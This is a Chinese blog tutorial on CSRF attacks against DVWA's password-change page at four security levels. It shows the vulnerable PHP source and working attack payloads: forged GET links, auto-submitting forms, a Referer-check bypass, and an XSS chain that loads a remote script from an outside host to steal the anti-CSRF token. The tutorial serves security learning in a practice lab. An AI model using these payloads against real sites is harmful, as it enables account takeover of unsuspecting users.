DVWA 黑客攻防演练(十四)CSRF 攻击 Cross Site Request Forgery
这么多攻击中,CSRF 攻击,全称是 Cross Site Request Forgery,翻译过来是跨站请求伪造可谓是最防不胜防之一。比如删除一篇文章,添加一笔钱之类,如果开发者是没有考虑到会被 CSRF 攻击的,一旦被利用对公司损失很大的。
低级
界面如下,目的是实现修改密码
低级代码如下
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
功能确实是可以修改密码的。
然而 Hacker 发了一封令人惊喜的邮件给你,里面的内容是这样的。
或者是这样
只要点击进去了。密码就被改了。因为他的链接是。。。
http://192.168.0.110:5678/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
然后密码就被改成 123456。。。
或者链接是指向的是一个恶意网站。网站里面有一张图片,而且是打不开。但是这张图片的链接是。。。http://192.168.31.166:5678/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change
密码又被改了。
或者你会觉得造成这种问题的主要原因是用 Get 请求,用 Post 就不会了。。。Hacker 的就将网站写成这样了。
<form action="" id="change-passwd" method="post">
<input type="password" name="password_new" value=""/>
<input type="password" name="password_conf" value=""/>
<input type="submit" name="submit" value="submit"/>
</form>
<script>
var form = document.getElementById("change-passwd");
form.inputs[0].value="123456";
form.inputs[1].value="123456";
form.submit();
</script>
这漏洞确实是防不胜防。。。接下面看看中级代码
中级
中级代码就多了验证请求头部的来源地址(Referer),来源地址与服务器地址一致才能修改密码。而你从邮件中点击链接过来的,或者从另外网站点击的是不能修改密码。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
而验证的来源地址和服务器地址是否一致的代码是这样的
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
而 stripos函数的定义 可以看这里。
假如服务器的地址是 192.168.0.110($_SERVER[ 'SERVER_NAME' ]
),而恶意的网站的地址是 a.com/192.168.0.110.php($_SERVER[ 'HTTP_REFERER' ]
) 。。。不就可以绕过了吗?
而 192.168.0.110.php 的内容也很简单
<form action="http://192.168.0.110:5678/vulnerabilities/csrf/?" method="GET">
<h1>Click Me</h1>
<input type="text" name="password_new" value="hacker">
<input type="text" name="password_conf" value="hacker">
<input type="submit" value="Change" name="Change">
</form>
<script>
document.getElementsByTagName("form")[0].submit()
<script>
``
# 高级
> CSRF 为什么会成功?其本质原因是重要操作的所有参数都可以被攻击者猜测到。 --吴翰清 《白帽子讲 Web 安全》 p121
所以参数如果有一个攻击者猜测不到的参数,攻击者就很难攻击了。所以服务器生成一个(伪)随机字符串(叫 token),保存在 session 中,同时放在网页上中。用户登录,发送请求的时候会把这个字符串带到服务器上验证。
高级代码如下
```php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
所以,如果要攻击的话,首先要获取页面的 token,假如 Hacker 在网站 a.com/csrf.php 上写了这样的代码呢?
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
var success = false;
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
var pass = "123456";
var attack_url = "http://192.168.0.110:5678/vulnerabilities/csrf/?user_token="+token+"&password_new="+pass+"&password_conf="+pass+"&Change=Change";
if(!success){
success=true;
xmlhttp.open("GET",attack_url);
xmlhttp.send();
}
}
}
xmlhttp.open("GET","http://192.168.0.110:5678/vulnerabilities/csrf/");
xmlhttp.send();
</script>
这是不能执行的,原因是现代浏览器是不允许进行跨域请求的(前后端分离会有特定的请求头),在 a.com 上不能请求 192.168.0.110 的数据的(除了css,js之类的静态文件外)。所以要“另辟蹊径”。
也看了下《白帽子讲 Web安全》。也说如果存在 XSS 漏洞,这方案就会变无效了。。。所以这代码主要还是自己或队友的代码造成有漏洞了。。。
简要解释一下,因为高级反射型 XSS那里有个漏洞,那里能有效地去掉了 script 标签的注入,但是忽略了 img 之类的元素注入。
所以,可以往里面注入 <img src=x onerror="alert(1)">
这样的东西。如果你用点开这样的链接 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<img+src%3Dx+onerror%3D"alert(1)"># ,就会看到弹窗了,也就是说能注入 js 代码。
然后要做的东西是往里面注入远程的 js 代码(test.js),test.js 的内容上面跨域的内容一样。所以问题是如何注入 '' 这样的字符串
而服务器有个正则替换<.\*s.\*c.\*r.\*i.\*p.\*t
,所有含有 script 的字符都会被替换 。直接在onerror
函数中注入代码是可以的,但是有点痛苦,因为要躲开这个正则替换。所以可以用点取巧的方式,onerror
里面的内容是eval(unescape(location.hash.substr(1)))
,其中location.hash
是 url 中 # 后面的内容(一般是前端框架用来做路由,且没有长度限制),就是要注入的 js 的内容了。
点击下面这个链接,就可以绕过 anti-token 机制改掉密码。。。
http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<img src=x onerror="eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22//www.a.com/test.js%22);h.appendChild(s)
哈希路由后面的代码
d=document;
h=d.getElementsByTagName('head').item(0);
s=d.createElement('script');
s.setAttribute('src','//www.a.com/test.js');
h.appendChild(s);
意思是在 head 的标签下添加个 ''
不可能
和高级相比,不可能级别会要求检查原密码,就算有 XSS 漏洞也要知道原密码才能修改,而且代码中用了 $db->prepare 的写法防止 SQL 的注入。这样安全多了。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
最后
dvwa 中防御 CSRF 攻击主要是通过验证 Referer 头和设置 anti-token 的方式。而不可能级别的还会要求验证原密码。 而 referer check 缺陷在于,服务器并非什么时候都能取得 referer。很多时候用户出于隐私保护的考虑,限制了 Referer 的发送。某些情况下,浏览器也不会发送 Referer,比如从 HTTPS 跳转到 HTTP,出于安全的考虑,浏览器也不会发送 Referer(《白帽子讲Web安全》)
而一般用 anti-token 机制就能很好地防御了。
如果有验证码的存在,也能提高攻击的难度。
现在的网站重置密码也不会这样直接重置了,基本也会发一个有待 token 的 url 邮件或者手机短信验证码吧
DVWA 黑客攻防演练(十四)CSRF 攻击 Cross Site Request Forgery的更多相关文章
- CSRF(Cross Site Request Forgery, 跨站请求伪造)
一.CSRF 背景与介绍 CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一.其他安全隐患, ...
- CSRF(Cross Site Request Forgery, 跨站域请求伪造)
CSRF(Cross Site Request Forgery, 跨站域请求伪造) CSRF 背景与介绍 CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的 ...
- CSRF Laravel Cross Site Request Forgery protection¶
Laravel 使得防止应用 遭到跨站请求伪造攻击变得简单. Laravel 自动为每一个被应用管理的有效用户会话生成一个 CSRF "令牌",该令牌用于验证授权用 户和发起请求者 ...
- DVWA 黑客攻防演练(四)文件包含 File Inclusion
文件包含(file Inclusion)是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件.还可以通过这个漏洞加载不属于本网站的文件等.下面一起来看看 DVWA 中的文件包 ...
- DVWA 黑客攻防演练(一) 介绍及安装
原本是像写一篇 SELinux 的文章的.而我写总结文章的时候,总会去想原因是什么,为什么会有这种需求.而我发觉 SELinux 的需求是编程人员的神奇代码或者维护者的脑袋短路而造成系统容易被攻击.就 ...
- 转: CSRF(Cross Site Request Forgery 跨站域请求伪造) 背景与介绍
from: https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/ 在 IBM Bluemix 云平台上开发并部署您的下一个应用 ...
- WebGoat学习——跨站请求伪造(Cross Site Request Forgery (CSRF))
跨站请求伪造(Cross Site Request Forgery (CSRF)) 跨站请求伪造(Cross Site Request Forgery (CSRF))也被称为:one click at ...
- 跨站请求伪造(Cross Site Request Forgery (CSRF))
跨站请求伪造(Cross Site Request Forgery (CSRF)) 跨站请求伪造(Cross Site Request Forgery (CSRF)) 跨站请求伪造(Cross Sit ...
- Cross Site Request Forgery (CSRF)--spring security -转
http://docs.spring.io/spring-security/site/docs/3.2.0.CI-SNAPSHOT/reference/html/csrf.html 13. Cross ...
随机推荐
- C# 打印PDF文档的10种方法
操作PDF文档时,打印是常见的需求之一.针对不同的打印需求,可分多种情况来进行,如设置静默打印.指定打印页码范围和打印纸张大小.双面打印.黑白打印等等.经过测试,下面将对常见的几种PDF打印需求做一些 ...
- Dotspatial 要素重叠部分去除
private void toolStripButton32_Click(object sender, EventArgs e) { /重叠部分去除操作——测试成功 if (mapMain.Layer ...
- ArcGIS API for JavaScript 入门教程[6] 再讲数据——Map类之可操作图层
[回顾]上篇交代了Map是各种图层(不管是实际上的图层还是由图层构成的对象)的容器,是数据的容器,并不作显示(由视图类绘制).并重点讲解了由图层构成的复杂图层——高程属性ground和底图属性base ...
- 全球第一免费开源ERP Odoo仓存功能模块深度应用(一)
基本功能 库位 库位是一个逻辑存货区,可以是一个物理库区,可以是一个货架.货架上的一个货位.库位可以有子库位 库位有虚拟库位和实际库位,实际库位是实际存放货物的库位,虚拟库位是因复式库存记账而虚构的库 ...
- github SSH配置
目录 github SSH配置 前言 ssh 配置 github SSH配置 前言 github有两种更新的渠道,一种是https的,一种是ssh的,其中https每次都要输入密码,非常烦.所以,最好 ...
- windows手动去重 通配符
在下载文件时,如果遇到重复文件,windows的默认做法时 文件名(数字) 这样的方式重命名的. 那么我们在排除重复文件时,可以使用 windows文件浏览器提供的查找功能, 用通配符 ~=& ...
- Netty1:初识Netty
为什么使用Netty Netty是业界最流行的NIO框架之一,它的健壮性.功能.性能.可定制性.可扩展性在同类框架中都是首屈一指的,它已经得到了成百上千的商用项目的证明.对于为什么使用Netty这个话 ...
- ng6.1 新特性:滚回到之前的位置
在之前的版本中滚动条位置是一个大问题,主要表现在 1. 使用快捷键或者手势前进/后退的时候,滚动条的位置经常是错乱的,所以只能每个页面都要重置一个滚动条的位置: 2. #anchor1 锚点位置无法定 ...
- IM开发者的零基础通信技术入门(一):通信交换技术的百年发展史(上)
[来源申明]本文原文来自:微信公众号“鲜枣课堂”,官方网站:xzclass.com,原题为:<通信交换的百年沧桑(上)>,本文引用时已征得原作者同意.为了更好的内容呈现,即时通讯网在收录时 ...
- vscode创建net core控制台程序
vscode近来深受的开发人员的喜爱.在下的前端同事们也纷纷使用vscode.在下就想了我等后端程序员也可以用vscode写C#代码.毕竟是从宇宙第一IDE ----Visual Studio衍生的 ...